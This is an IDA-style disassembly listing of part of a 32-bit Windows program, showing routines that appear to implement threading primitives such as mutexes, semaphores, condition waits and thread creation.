loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		call	near ptr 2770000h
		nop


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
